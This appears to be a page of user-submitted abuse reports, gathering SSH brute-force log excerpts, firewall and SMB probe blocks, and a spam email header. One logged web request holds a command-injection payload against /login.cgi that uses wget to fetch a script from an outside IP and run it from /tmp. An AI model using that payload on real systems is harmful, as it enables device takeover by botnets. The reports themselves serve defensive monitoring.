02.07.2019 23:15:59 Connection to port 3128 blocked by firewall

Jul  3 00:48:04 localhost sshd\[27685\]: Invalid user japca from 139.59.17.173 port 35966
Jul  3 00:48:04 localhost sshd\[27685\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.59.17.173
Jul  3 00:48:07 localhost sshd\[27685\]: Failed password for invalid user japca from 139.59.17.173 port 35966 ssh2
...

WordPress login Brute force / Web App Attack on client site.

SSH Bruteforce Attack

Original Message
Message ID	<5d1bd309.1c69fb81.cd0a3.49dbSMTPIN_ADDED_MISSING@mx.google.com>
Created at:	Tue, Jul 2, 2019 at 1:56 PM (Delivered after 3588 seconds)
From:	Lawsuit Winning 
To:
Subject:	Alert: Let us help you with your injury claim today!
SPF:	PASS with IP 89.47.163.162 Learn more

Return-Path: 
Received: from betterwithfn.com (191c9.l.time4vps.cloud. [89.47.163.162])

Jul  2 20:41:19 plusreed sshd[2619]: Invalid user jana from 51.38.83.164
...

Unauthorised access (Jul  3) SRC=191.35.210.44 LEN=52 TTL=115 ID=9024 DF TCP DPT=445 WINDOW=8192 SYN

Lines containing failures of 106.75.60.142
Jul  2 21:55:55 siirappi sshd[27528]: Did not receive identification string from 106.75.60.142 port 35322
Jul  2 21:57:57 siirappi sshd[27553]: Invalid user storm from 106.75.60.142 port 49690
Jul  2 21:57:57 siirappi sshd[27553]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.75.60.142
Jul  2 21:57:59 siirappi sshd[27553]: Failed password for invalid user storm from 106.75.60.142 port 49690 ssh2
Jul  2 21:58:09 siirappi sshd[27553]: Received disconnect from 106.75.60.142 port 49690:11: Normal Shutdown, Thank you for playing [preauth]
Jul  2 21:58:09 siirappi sshd[27553]: Disconnected from 106.75.60.142 port 49690 [preauth]
Jul  2 22:00:11 siirappi sshd[27640]: Invalid user storm from 106.75.60.142 port 48582
Jul  2 22:00:11 siirappi sshd[27640]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.75.60.142


........
-----------------------------------------------
https://www.blockl

POP

Unauthorised access (Jul  3) SRC=200.237.115.7 LEN=40 TTL=243 ID=15967 TCP DPT=445 WINDOW=1024 SYN

Jul  3 03:25:44 server01 sshd\[30010\]: Invalid user thomas from 111.223.73.20
Jul  3 03:25:44 server01 sshd\[30010\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.223.73.20
Jul  3 03:25:46 server01 sshd\[30010\]: Failed password for invalid user thomas from 111.223.73.20 port 52843 ssh2
...

79.129.24.205 - - [03/Jul/2019:01:15:14 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.248.93.159/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 166 "-" "Hakai/2.0"
...

02.07.2019 23:17:09 Connection to port 1228 blocked by firewall

Jul  1 23:05:16 keyhelp sshd[11593]: Invalid user tomcat from 27.147.130.67
Jul  1 23:05:16 keyhelp sshd[11593]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.147.130.67
Jul  1 23:05:18 keyhelp sshd[11593]: Failed password for invalid user tomcat from 27.147.130.67 port 38822 ssh2
Jul  1 23:05:18 keyhelp sshd[11593]: Received disconnect from 27.147.130.67 port 38822:11: Bye Bye [preauth]
Jul  1 23:05:18 keyhelp sshd[11593]: Disconnected from 27.147.130.67 port 38822 [preauth]


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=27.147.130.67

2019-07-02 UTC: 4x - francis,joshua,lloyd(2x)